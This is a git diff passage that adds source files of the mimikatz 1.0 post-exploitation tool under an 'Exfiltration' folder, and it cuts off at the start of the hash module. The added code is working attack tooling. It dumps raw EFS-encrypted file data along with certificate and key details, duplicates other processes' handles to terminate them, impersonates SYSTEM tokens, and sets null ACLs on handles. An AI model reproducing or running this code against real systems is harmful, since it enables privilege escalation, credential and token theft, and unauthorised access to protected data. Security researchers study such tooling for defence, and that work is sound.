tailleFichierSource - sizeof(HEADER_PIT) - SUBKEY_SIZE; + + if(arguments->size() > 1) + { + (*outputStream) << L" * Ouverture en criture du fichier \'" << arguments->back() << L"\' : "; + if(monFichierDestination = _wfopen(arguments->back().c_str(), L"wb")) + { + (*outputStream) << L"OK" << endl; + fwrite(monBufferData, tailleData, 1, monFichierDestination); + fclose(monFichierDestination); + } + else (*outputStream) << L"KO" << endl; + } + else (*outputStream) << L" * Donnes : " << endl << endl << wstring(reinterpret_cast(monBufferData), reinterpret_cast(monBufferData + tailleData)) << endl; + } + else (*outputStream) << L"KO - diffrent de \'PIT\' ; " << mod_text::stringOfHex(HEADER_PIT, sizeof(HEADER_PIT)) << L" != " << mod_text::stringOfHex(monBuffer, sizeof(HEADER_PIT)) << endl; + } + else (*outputStream) << L"KO"; + } + else (*outputStream) << L"KO"; + delete [] monBuffer; + } + else (*outputStream) << L"KO" << endl; + } + return true; +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.h new file mode 100644 index 00000000..9bfcf9f7 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.h @@ -0,0 +1,30 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_process.h" +#include "mod_patch.h" +#include "mod_secacl.h" +#include "mod_text.h" +#include "mod_crypto.h" +#include +#include +#include "..\global.h" + +class mod_mimikatz_divers +{ +public: + static vector getMimiKatzCommands(); + + static bool cancelator(vector * arguments); + static bool noroutemon(vector * arguments); + static bool eventdrop(vector * arguments); + static bool secrets(vector * arguments); + static bool nodetour(vector * arguments); + static bool pitme(vector * arguments); +}; + + diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.cpp new file mode 100644 index 00000000..366c062c --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.cpp @@ -0,0 +1,300 @@ +/* Benjamin DELPY `gentilkiwi` +http://blog.gentilkiwi.com +benjamin@gentilkiwi.com +Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_efs.h" +#include "..\global.h" + +vector mod_mimikatz_efs::getMimiKatzCommands() +{ + vector monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(infos, L"infos", L"Affiche des informations basiques sur un fichier chiffr")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(full, L"full", L"Affiche des informations trs dtailles sur un fichier chiffr")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(toraw, L"toraw", L"Dump les donnes EFS d'un fichier chiffr vers un fichier brut")); + // monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(fromraw, L"fromraw")); + return monVector; +} + +bool mod_mimikatz_efs::infos(vector * arguments) +{ + if(!arguments->empty()) + { + PENCRYPTION_CERTIFICATE_HASH_LIST pHashes = NULL; + + if(QueryUsersOnEncryptedFile(arguments->front().c_str(), &pHashes) == ERROR_SUCCESS) + { + (*outputStream) << L"Utilisateur(s) dclar(s) : " << pHashes->nCert_Hash << endl; + printInfos(pHashes); + FreeEncryptionCertificateHashList(pHashes); + } + else (*outputStream) << L"Erreur QueryUsersOnEncryptedFile : " << mod_system::getWinError() << endl; + + if(QueryRecoveryAgentsOnEncryptedFile(arguments->front().c_str(), &pHashes) == ERROR_SUCCESS) + { + (*outputStream) << L"Agent(s) de recouvrement : " << pHashes->nCert_Hash << endl; + printInfos(pHashes); + FreeEncryptionCertificateHashList(pHashes); + } + else (*outputStream) << L"Erreur QueryRecoveryAgentsOnEncryptedFile : " << mod_system::getWinError() << endl; + + } + return true; +} + +bool mod_mimikatz_efs::full(vector * arguments) +{ + if(!arguments->empty()) + { + PVOID pvContext = NULL; + if(OpenEncryptedFileRaw(arguments->front().c_str(), 0, &pvContext) == ERROR_SUCCESS) + { + SIMPLE_BYTE_ARRAY sba = {0, reinterpret_cast(malloc(0))}; + if(ReadEncryptedFileRaw(ExportToArrayCallback, &sba, pvContext) == ERROR_SUCCESS) + { + PEFS_FEK Fek = NULL; + PEFS_STREAM_DATA_SEGMENT monDataSegment = NULL; + for( + PEFS_MARSHALED_STREAM monMarshaledStream = reinterpret_cast(sba.tableau + sizeof(EFS_RAW)); + reinterpret_cast(monMarshaledStream) < (sba.tableau + sba.nbElements); + monMarshaledStream = reinterpret_cast(monDataSegment) + ) + { + + bool isEFSMetaData = (monMarshaledStream->NameLenght == 2) && (monMarshaledStream->StreamName[0] == 0x1910); + + (*outputStream) << endl << + L"Marshaled Stream :" << endl << + L" * Taille : " << monMarshaledStream->Length << endl << + L" * Flag : " << monMarshaledStream->Flag << endl << + L" * Nom : " << (isEFSMetaData ? wstring(L"(EFS Metadata stream)") : wstring(monMarshaledStream->StreamName, monMarshaledStream->NameLenght / sizeof(wchar_t))) << endl << + L" * Type : " << (isEFSMetaData ? L"EFS Metadata" : L"DATA") << endl << + endl; + + for( + monDataSegment = reinterpret_cast(reinterpret_cast(monMarshaledStream) + monMarshaledStream->Length); + (reinterpret_cast(monDataSegment) < (sba.tableau + sba.nbElements)) && (monDataSegment->GURE0 == 0x00550047) && (monDataSegment->GURE1 == 0x00450052); + monDataSegment = reinterpret_cast(reinterpret_cast(monDataSegment) + monDataSegment->Length) + ) + + { + (*outputStream) << L"DataSegment : " << endl; + PBYTE StreamData = reinterpret_cast(monDataSegment) + sizeof(EFS_STREAM_DATA_SEGMENT); + + if(isEFSMetaData) + { + (*outputStream) << L" EFS Metadata :" << endl; + + PEFS_METADATA_1 mesAttr = reinterpret_cast(StreamData); + (*outputStream) << L" * Version EFS : " << mesAttr->EFS_Version << endl; + if(mesAttr->DDF_Offset) + { + (*outputStream) << L" * Utilisateur(s) dclar(s) :" << endl; + fullInfosFromEFS_KEY_LIST(mesAttr, mesAttr->DDF_Offset, &Fek); + } + if(mesAttr->DRF_Offset) + { + (*outputStream) << L" * Agent(s) de recouvrement :" << endl; + fullInfosFromEFS_KEY_LIST(mesAttr, mesAttr->DRF_Offset, &Fek); + } + } + else + { + (*outputStream) << L" DATA :" << endl; + if(!monMarshaledStream->Flag) + { + (*outputStream) << L" DATA Segment Encryption Header :" << endl; + PEFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER monSegEncHead = reinterpret_cast(StreamData); + (*outputStream) << + L" * Length : " << monSegEncHead->Length << endl << + L" * StartingFile_Offset : " << monSegEncHead->StartingFile_Offset << endl << + L" * BytesWithinStreamSize : " << monSegEncHead->BytesWithinStreamSize << endl << + L" * BytesWithinVDL : " << monSegEncHead->BytesWithinVDL << endl << + L" * DataUnitShift : " << monSegEncHead->DataUnitShift << endl << + L" * ChunkShift : " << monSegEncHead->ChunkShift << endl << + L" * ClusterShift : " << monSegEncHead->ClusterShift << endl << + L" * NumberOfDataBlocks : " << monSegEncHead->NumberOfDataBlocks << endl << + endl; + + PEFS_EXTENDED_HEADER monExtHeader = reinterpret_cast(reinterpret_cast(monSegEncHead) + FIELD_OFFSET(EFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER, DataBlockSizes) + (sizeof(DWORD) * monSegEncHead->NumberOfDataBlocks)); + if(monExtHeader->EXTD_Number == 'DTXE') + { + (*outputStream) << L" * Extended Header Flag : " << monExtHeader->Flags << endl; + } + + for(DWORD block = 0; block < monSegEncHead->NumberOfDataBlocks; block++) + { + (*outputStream) << L" -> Block " << block+1 << L" ; taille : " << monSegEncHead->DataBlockSizes[block] << endl; + + PBYTE mesDatas = reinterpret_cast(StreamData) + monSegEncHead->Length; + (*outputStream) << mod_text::stringOfHex(mesDatas, monSegEncHead->DataBlockSizes[block], 16) << endl; + + if(Fek); + } + } + else + { + (*outputStream) << L"TODO Data" << endl; + } + } + } + } + } + else (*outputStream) << L"Erreur ReadEncryptedFileRaw : " << mod_system::getWinError() << endl; + + free(sba.tableau); + CloseEncryptedFileRaw(pvContext); + } + else (*outputStream) << L"Erreur OpenEncryptedFileRaw : " << mod_system::getWinError() << endl; + } + return true; +} + +bool mod_mimikatz_efs::toraw(vector * arguments) +{ + if(arguments->size() == 2) + { + PVOID pvContext = NULL; + (*outputStream) << L"Ouverture de : " << arguments->front() << endl; + if(OpenEncryptedFileRaw(arguments->front().c_str(), 0, &pvContext) == ERROR_SUCCESS) + { + (*outputStream) << L"Vers : " << arguments->back() << endl; + HANDLE hFile = CreateFile(arguments->back().c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); + if(ReadEncryptedFileRaw(ExportToFileCallback, &hFile, pvContext) == ERROR_SUCCESS) + { + (*outputStream) << L" * Export OK" << endl; + } + else (*outputStream) << L"* Erreur ReadEncryptedFileRaw : " << mod_system::getWinError() << endl; + CloseHandle(hFile); + CloseEncryptedFileRaw(pvContext); + } + else (*outputStream) << L"Erreur OpenEncryptedFileRaw : " << mod_system::getWinError() << endl; + } + return true; +} + +void mod_mimikatz_efs::printInfos(PENCRYPTION_CERTIFICATE_HASH_LIST hashList) +{ + for(DWORD i = 0; i < hashList->nCert_Hash; i++) + { + wstring user; + mod_secacl::simpleSidToString(hashList->pUsers[i]->pUserSid, &user); + + (*outputStream) << + L" * Nom : " << user << endl << + L" * Nom simple : " << hashList->pUsers[i]->lpDisplayInformation << endl << + L" * Hash du certificat : " << mod_text::stringOfHex(hashList->pUsers[i]->pHash->pbData, hashList->pUsers[i]->pHash->cbData) << endl << + endl; + } +} + +DWORD WINAPI mod_mimikatz_efs::ExportToArrayCallback(PBYTE pbData, PVOID pvCallbackContext, DWORD ulLength) +{ + if(ulLength) + { + PSIMPLE_BYTE_ARRAY sba = reinterpret_cast(pvCallbackContext); + sba->tableau = reinterpret_cast(realloc(sba->tableau, sba->nbElements + ulLength)); + if(sba->tableau) + { + RtlCopyMemory(sba->tableau + sba->nbElements, pbData, ulLength); + sba->nbElements += ulLength; + } + else + return ERROR_NOT_ENOUGH_MEMORY; + } + return ERROR_SUCCESS; +} + +DWORD WINAPI mod_mimikatz_efs::ExportToFileCallback(PBYTE pbData, PVOID pvCallbackContext, ULONG ulLength) +{ + if(ulLength) + { + (*outputStream) << L" - Lecture d\'un bloc de : " << ulLength << endl; + DWORD dwBytesWritten = 0; + if(WriteFile(*reinterpret_cast(pvCallbackContext), pbData, ulLength, &dwBytesWritten, NULL) && (ulLength == dwBytesWritten)) + return ERROR_SUCCESS; + return GetLastError(); + } + return ERROR_SUCCESS; +} + +bool mod_mimikatz_efs::fullInfosFromEFS_KEY_LIST(PEFS_METADATA_1 header, LONG KeyList_offset, PEFS_FEK * pFek) +{ + *pFek = NULL; + PEFS_KEY_LIST monHead = reinterpret_cast(reinterpret_cast(header) + KeyList_offset); + + PEFS_KEY_LIST_ENTRY monHeader = reinterpret_cast(monHead); + DWORD previousSize = sizeof(PEFS_KEY_LIST); + for(DWORD i = 0; i < monHead->Length; i++) + { + (*outputStream) << endl << L" Champ de donnes " << (i + 1) << L" :" << endl; + monHeader = reinterpret_cast((PBYTE) monHeader + previousSize); + + PEFS_PUBLIC_KEY_INFORMATION monCredHeader = reinterpret_cast(reinterpret_cast(monHeader) + monHeader->PKI_Offset); + wstring user; + if(monCredHeader->OwnerSID_offset) + mod_secacl::simpleSidToString((reinterpret_cast(monCredHeader) + monCredHeader->OwnerSID_offset), &user); + else user.assign(L"(null)"); + + (*outputStream) << L" * Utilisateur : " << user << endl; + fullInfosFromEFS_CERTIFICATE_DATA(monCredHeader, monCredHeader->Certificate_offset); + + PBYTE Encrypted_FEK = reinterpret_cast(monHeader) + monHeader->Enc_FEK_Offset; + (*outputStream) << + L" * Flags : " << monHeader->Flags << endl << + L" * FEK (chiffre) : " << endl << + L" -> Taille : " << monHeader->Enc_FEK_Length << endl << + L" -> Donnes : " << endl << mod_text::stringOfHex(Encrypted_FEK, monHeader->Enc_FEK_Length, 16) << endl << + endl; + + /*HCRYPTPROV hCryptKeyProv; + if(CryptAcquireContext(&hCryptKeyProv, L"", MS_STRONG_PROV, PROV_RSA_FULL, NULL )) + { + HCRYPTKEY maCle = NULL; + if(CryptGetUserKey(hCryptKeyProv, AT_KEYEXCHANGE, &maCle)) + { + DWORD taille = monHeader->Enc_FEK_Length; + if (CryptDecrypt(maCle, 0, TRUE, 0, Encrypted_FEK, &taille) ) + { + *pFek = reinterpret_cast(Encrypted_FEK); + (*outputStream) << + L" * FEK (clair) : " << endl << + L" -> Taille : " << (*pFek)->Key_Lenght << endl << + L" -> Algorithme : " << (*pFek)->Algorithm << endl << + L" -> Entropie : " << (*pFek)->Entropy << endl << + L" -> Donnes : " << endl << mod_text::stringOfHex((*pFek)->Key, (*pFek)->Key_Lenght, 16) << endl << + endl; + } + else + (*outputStream) << mod_system::getWinError() << endl; + } + CryptReleaseContext(hCryptKeyProv, 0); + }*/ + + previousSize = monHeader->Length; + } + + return (*pFek != NULL); +} + +void mod_mimikatz_efs::fullInfosFromEFS_CERTIFICATE_DATA(PEFS_PUBLIC_KEY_INFORMATION header, LONG Certificate_offset) +{ + PEFS_CERTIFICATE_DATA monThCertificate = reinterpret_cast(reinterpret_cast(header) + header->Certificate_offset); + + (*outputStream) << L" -> Nom affich : "; + if(monThCertificate->DisplayName_Offset) + (*outputStream) << reinterpret_cast(reinterpret_cast(monThCertificate) + monThCertificate->DisplayName_Offset); + (*outputStream) << endl; + + (*outputStream) << L" -> Provider : "; + if(monThCertificate->ProviderName_Offset) + (*outputStream) << reinterpret_cast(reinterpret_cast(monThCertificate) + monThCertificate->ProviderName_Offset); + (*outputStream) << endl; + + (*outputStream) << L" -> Container : "; + if(monThCertificate->ContainerName_Offset) + (*outputStream) << reinterpret_cast(reinterpret_cast(monThCertificate) + monThCertificate->ContainerName_Offset); + (*outputStream) << endl; + + (*outputStream) << L" -> Empreinte : " << mod_text::stringOfHex(reinterpret_cast(monThCertificate) + monThCertificate->CertificateThumbprint, monThCertificate->CertificateThumbprint_Length) << endl; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.h new file mode 100644 index 00000000..0a82140f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.h @@ -0,0 +1,133 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include +#include +#include "mod_text.h" +#include "mod_system.h" +#include "mod_secacl.h" +#include "mod_crypto.h" + +class mod_mimikatz_efs +{ +private: + // http://msdn.microsoft.com/library/cc230447.aspx + typedef struct _EFS_RAW { + DWORD Unknown0; + DWORD ROBS0; + DWORD ROBS1; + BYTE Reserved[8]; + } EFS_RAW, *PEFS_RAW; + + typedef struct _EFS_MARSHALED_STREAM { + DWORD Length; + DWORD NTFS0; + DWORD NTFS1; + DWORD Flag; + BYTE Reserved[8]; + DWORD NameLenght; + wchar_t StreamName[1]; + } EFS_MARSHALED_STREAM, *PEFS_MARSHALED_STREAM; + + typedef struct _EFS_STREAM_DATA_SEGMENT { + DWORD Length; + DWORD GURE0; + DWORD GURE1; + DWORD Reserved; + } EFS_STREAM_DATA_SEGMENT, *PEFS_STREAM_DATA_SEGMENT; + + typedef struct _EFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER { + LONG64 StartingFile_Offset; + DWORD Length; + DWORD BytesWithinStreamSize; + DWORD BytesWithinVDL; + USHORT ReservedForAlignement0; + BYTE DataUnitShift; + BYTE ChunkShift; + BYTE ClusterShift; + BYTE ReservedForAlignement1; + USHORT NumberOfDataBlocks; + DWORD DataBlockSizes[1]; + } EFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER, *PEFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER; + + typedef struct _EFS_EXTENDED_HEADER { + DWORD EXTD_Number; + DWORD Length; + DWORD Flags; + DWORD Reserved; + } EFS_EXTENDED_HEADER, *PEFS_EXTENDED_HEADER; + + typedef struct _EFS_METADATA_1 { + DWORD Length; + DWORD Reserved1; + DWORD EFS_Version; + DWORD Reserved2; + BYTE EFS_ID[16]; + BYTE EFS_Hash[16]; + BYTE Reserved3[16]; + LONG DDF_Offset; + LONG DRF_Offset; + BYTE Reserved4[12]; + } EFS_METADATA_1, *PEFS_METADATA_1; + + typedef struct _EFS_KEY_LIST { + DWORD Length; + } EFS_KEY_LIST, *PEFS_KEY_LIST; + + typedef struct _EFS_KEY_LIST_ENTRY { + DWORD Length; + LONG PKI_Offset; + DWORD Enc_FEK_Length; + LONG Enc_FEK_Offset; + DWORD Flags; + } EFS_KEY_LIST_ENTRY, *PEFS_KEY_LIST_ENTRY; + + typedef struct _EFS_PUBLIC_KEY_INFORMATION { + DWORD Length; + LONG OwnerSID_offset; + DWORD Type; + DWORD Certificate_Length; + LONG Certificate_offset; + } EFS_PUBLIC_KEY_INFORMATION, *PEFS_PUBLIC_KEY_INFORMATION; + + typedef struct _EFS_CERTIFICATE_DATA { + LONG CertificateThumbprint; + DWORD CertificateThumbprint_Length; + LONG ContainerName_Offset; + LONG ProviderName_Offset;; + LONG DisplayName_Offset; + } EFS_CERTIFICATE_DATA, *PEFS_CERTIFICATE_DATA; + + typedef struct _EFS_FEK { + DWORD Key_Lenght; + DWORD Entropy; + ALG_ID Algorithm; + DWORD Reserverd; + BYTE Key[1]; + } EFSFEK, *PEFS_FEK; + + typedef struct _SIMPLE_BYTE_ARRAY{ + SIZE_T nbElements; + PBYTE tableau; + } SIMPLE_BYTE_ARRAY, *PSIMPLE_BYTE_ARRAY; + + static DWORD WINAPI ExportToArrayCallback(PBYTE pbData, PVOID pvCallbackContext, DWORD ulLength); + static DWORD WINAPI ExportToFileCallback(PBYTE pbData, PVOID pvCallbackContext, DWORD ulLength); + static void printInfos(PENCRYPTION_CERTIFICATE_HASH_LIST hashList); + + static bool fullInfosFromEFS_KEY_LIST(PEFS_METADATA_1 header, LONG KeyList_offset, PEFS_FEK * Fek); + static void fullInfosFromEFS_CERTIFICATE_DATA(PEFS_PUBLIC_KEY_INFORMATION header, LONG Certificate_offset); + +public: + static vector getMimiKatzCommands(); + + static bool infos(vector * arguments); + static bool full(vector * arguments); + static bool toraw(vector * arguments); + static bool fromraw(vector * arguments); +}; + diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.cpp new file mode 100644 index 00000000..8e45ee69 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.cpp @@ -0,0 +1,301 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_handle.h" +#include "..\global.h" + +vector mod_mimikatz_handle::getMimiKatzCommands() +{ + vector monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Affiche les handles du systme (pour le moment juste les processus et tokens)")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(processStop, L"processStop", L"Essaye de stopper un ou plusieurs processus en utilisant d\'autres handles")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(tokenImpersonate, L"tokenImpersonate", L"Essaye d\'impersonaliser un token en utilisant d\'autres handles")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(nullAcl, L"nullAcl", L"Positionne une ACL null sur des Handles")); + return monVector; +} + +bool mod_mimikatz_handle::list(vector * arguments) +{ + vector * mesProcess = new vector(); + + bool isProcessList = mod_process::getList(mesProcess); + vector * mesHandles = new vector(); + + DWORD id = (!arguments->empty() ? _wtoi(arguments->front().c_str()) : 0); + + if(mod_system::getSystemHandles(mesHandles, arguments->empty() ? NULL : &id)) + { + for(vector::iterator monHandle = mesHandles->begin(); monHandle != mesHandles->end(); monHandle++) + { + HANDLE hProcess; + if(hProcess = OpenProcess(PROCESS_DUP_HANDLE, false, monHandle->ProcessId)) + { + HANDLE nouveauHandle; + if(DuplicateHandle(hProcess, reinterpret_cast(monHandle->Handle), GetCurrentProcess(), &nouveauHandle, 0, false, DUPLICATE_SAME_ACCESS)) + { + wstring tokenType; + if(mod_system::getHandleType(nouveauHandle, &tokenType)) + { + bool isToken = (_wcsicmp(tokenType.c_str(), L"token") == 0); + bool isProcess = (_wcsicmp(tokenType.c_str(), L"process") == 0); + + if(isToken || isProcess) + { + (*outputStream) << setw(5) << setfill(wchar_t(' ')) << monHandle->ProcessId << L" "; + + if(isProcessList) + { + mod_process::KIWI_PROCESSENTRY32 * processHote = new mod_process::KIWI_PROCESSENTRY32(); + if(mod_process::getProcessEntryFromProcessId(monHandle->ProcessId, processHote, mesProcess)) + (*outputStream) << setw(25) << setfill(wchar_t(' ')) << left << processHote->szExeFile << right; + delete processHote; + } + + (*outputStream) << L" -> " << setw(5) << setfill(wchar_t(' ')) << monHandle->Handle << L'\t' << tokenType << L'\t'; + + if(isToken) + { + wstring userName, domainName; + if(mod_secacl::tokenUser(nouveauHandle, &userName, &domainName)) + (*outputStream) << L'\t' << domainName << L'\\' << userName ; + else (*outputStream) << mod_system::getWinError(); + } + else if(isProcess) + { + DWORD monPid = GetProcessId(nouveauHandle); + (*outputStream) << monPid; + + if(isProcessList) + { + mod_process::KIWI_PROCESSENTRY32 * processKiwi = new mod_process::KIWI_PROCESSENTRY32(); + if(mod_process::getProcessEntryFromProcessId(monPid, processKiwi, mesProcess)) + (*outputStream) << L'\t' << processKiwi->szExeFile; + delete processKiwi; + } + } + (*outputStream) << endl; + } + } + CloseHandle(nouveauHandle); + } + CloseHandle(hProcess); + } + } + } + else (*outputStream) << L"mod_system::getSystemHandles ; " << mod_system::getWinError() << endl; + + delete mesHandles; + + return true; +} + +bool mod_mimikatz_handle::processStop(vector * arguments) +{ + vector * mesProcess = new vector(); + + bool isProcessList = mod_process::getList(mesProcess); + vector * mesHandles = new vector(); + + if(mod_system::getSystemHandles(mesHandles)) + { + for(vector::iterator monHandle = mesHandles->begin(); monHandle != mesHandles->end(); monHandle++) + { + HANDLE hProcess; + if(hProcess = OpenProcess(PROCESS_DUP_HANDLE, false, monHandle->ProcessId)) + { + HANDLE nouveauHandle; + if(DuplicateHandle(hProcess, reinterpret_cast(monHandle->Handle), GetCurrentProcess(), &nouveauHandle, 0, false, DUPLICATE_SAME_ACCESS)) + { + wstring tokenType; + if(mod_system::getHandleType(nouveauHandle, &tokenType)) + { + if(_wcsicmp(tokenType.c_str(), L"process") == 0) + { + if(isProcessList) + { + mod_process::KIWI_PROCESSENTRY32 * processHote = new mod_process::KIWI_PROCESSENTRY32(); + mod_process::KIWI_PROCESSENTRY32 * processKiwi = new mod_process::KIWI_PROCESSENTRY32(); + DWORD monPid = GetProcessId(nouveauHandle); + if( + mod_process::getProcessEntryFromProcessId(monHandle->ProcessId, processHote, mesProcess) && + mod_process::getProcessEntryFromProcessId(monPid, processKiwi, mesProcess) + ) + { + + for(vector::iterator monProcessName = arguments->begin(); monProcessName != arguments->end(); monProcessName++) + { + if(_wcsicmp(processKiwi->szExeFile.c_str(), monProcessName->c_str()) == 0) + { + (*outputStream) << + setw(5) << setfill(wchar_t(' ')) << monHandle->ProcessId << L" " << + setw(25) << setfill(wchar_t(' ')) << left << processHote->szExeFile << right << L" -> " << + setw(5) << setfill(wchar_t(' ')) << monHandle->Handle << L'\t' << + monPid << L'\t' << processKiwi->szExeFile << endl; + ; + + + (*outputStream) << L"\tTerminate Process - "; + if(TerminateProcess(nouveauHandle, ERROR_SUCCESS) != 0) + { + (*outputStream) << L"OK"; + } + else + { + (*outputStream) << L"KO ; " << mod_system::getWinError() << endl << + L"\tJob : "; + + if(HANDLE monObject = CreateJobObject(NULL, NULL)) + { + if(AssignProcessToJobObject(monObject, nouveauHandle)) + { + (*outputStream) << L"TerminateJobObject - "; + if(TerminateJobObject(monObject, ERROR_SUCCESS) != 0) + { + (*outputStream) << L"OK"; + } + else (*outputStream) << L"KO ; " << mod_system::getWinError(); + } + else (*outputStream) << L"AssignProcessToJobObject - KO ; " << mod_system::getWinError(); + CloseHandle(monObject); + } + + } + + (*outputStream) << endl; + } + } + } + delete processKiwi; + delete processHote; + } + } + } + CloseHandle(nouveauHandle); + } + CloseHandle(hProcess); + } + } + } + else (*outputStream) << L"mod_system::getSystemHandles ; " << mod_system::getWinError() << endl; + + delete mesHandles; + + return true; +} + +bool mod_mimikatz_handle::tokenImpersonate(vector * arguments) +{ + PNT_SET_INFORMATION_PROCESS NtSetInformationProcess = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "NtSetInformationProcess")); + vector * mesProcess = new vector(); + + bool isProcessList = mod_process::getList(mesProcess); + vector * mesHandles = new vector(); + + if(mod_system::getSystemHandles(mesHandles)) + { + for(vector::iterator monHandle = mesHandles->begin(); monHandle != mesHandles->end(); monHandle++) + { + HANDLE hProcess; + if(hProcess = OpenProcess(PROCESS_DUP_HANDLE, false, monHandle->ProcessId)) + { + HANDLE nouveauHandle; + if(DuplicateHandle(hProcess, reinterpret_cast(monHandle->Handle), GetCurrentProcess(), &nouveauHandle, 0, false, DUPLICATE_SAME_ACCESS)) + { + wstring tokenType; + if(mod_system::getHandleType(nouveauHandle, &tokenType)) + { + if(_wcsicmp(tokenType.c_str(), L"token") == 0) + { + if(isProcessList) + { + mod_process::KIWI_PROCESSENTRY32 * processHote = new mod_process::KIWI_PROCESSENTRY32(); + if( + mod_process::getProcessEntryFromProcessId(monHandle->ProcessId, processHote, mesProcess) + ) + { + wstring userName, domainName; + if(mod_secacl::tokenUser(nouveauHandle, &userName, &domainName)) + { + if(_wcsicmp(userName.c_str(), (arguments->empty() ? L"system" : arguments->front().c_str())) == 0) + { + (*outputStream) << + setw(5) << setfill(wchar_t(' ')) << monHandle->ProcessId << L" " << + setw(25) << setfill(wchar_t(' ')) << left << processHote->szExeFile << right << L" -> " << + setw(5) << setfill(wchar_t(' ')) << monHandle->Handle << L'\t' << + domainName << L'\\' << userName << L'\t'; + + if(mod_secacl::exchangeDupToken(&nouveauHandle)) + { + if(ImpersonateLoggedOnUser(nouveauHandle)) + { + (*outputStream) << L"ok !!" << endl; + break; + } + else + { + (*outputStream) << L"ko - ImpersonateLoggedOnUser ; " << mod_system::getWinError() << endl; + } + } + else + { + (*outputStream) << L"ko - mod_secacl::exchangeDupToken ; " << mod_system::getWinError() << endl; + } + + } + } + else (*outputStream) << mod_system::getWinError(); + } + delete processHote; + } + } + } + CloseHandle(nouveauHandle); + } + CloseHandle(hProcess); + } + } + } + else (*outputStream) << L"mod_system::getSystemHandles ; " << mod_system::getWinError() << endl; + + delete mesHandles; + + return true; +} + +bool mod_mimikatz_handle::nullAcl(vector * arguments) +{ + vector * mesHandles = new vector(); + if(mod_system::getSystemHandles(mesHandles)) + { + for(vector::iterator monHandle = mesHandles->begin(); monHandle != mesHandles->end(); monHandle++) + { + HANDLE hProcess; + if(hProcess = OpenProcess(PROCESS_DUP_HANDLE, false, monHandle->ProcessId)) + { + HANDLE nouveauHandle; + if(DuplicateHandle(hProcess, reinterpret_cast(monHandle->Handle), GetCurrentProcess(), &nouveauHandle, 0, false, DUPLICATE_SAME_ACCESS)) + { + wstring tokenType; + if(mod_system::getHandleType(nouveauHandle, &tokenType)) + { + bool toACL = true;; + if(!arguments->empty()) + toACL = find(arguments->begin(), arguments->end(), tokenType) != arguments->end(); + + if(toACL) + (*outputStream) << monHandle->ProcessId << L'\t' << monHandle->Handle << L'\t' << tokenType << L"\t\t" << (mod_secacl::nullSdToHandle(&nouveauHandle) ? L"NULL !" : L"KO") << endl; + } + CloseHandle(nouveauHandle); + } + CloseHandle(hProcess); + } + } + } + else (*outputStream) << L"mod_system::getSystemHandles ; " << mod_system::getWinError() << endl; + + delete mesHandles; + + return true; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.h new file mode 100644 index 00000000..961991ca --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.h @@ -0,0 +1,23 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_system.h" +#include "mod_process.h" +#include "mod_secacl.h" +#include +#include + +class mod_mimikatz_handle +{ +public: + static vector getMimiKatzCommands(); + + static bool list(vector * arguments); + static bool processStop(vector * arguments); + static bool tokenImpersonate(vector * arguments); + static bool nullAcl(vector * arguments); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.cpp new file mode 100644 index 00000000..302c05e7 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.cpp @@ -0,0 +1,43 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ 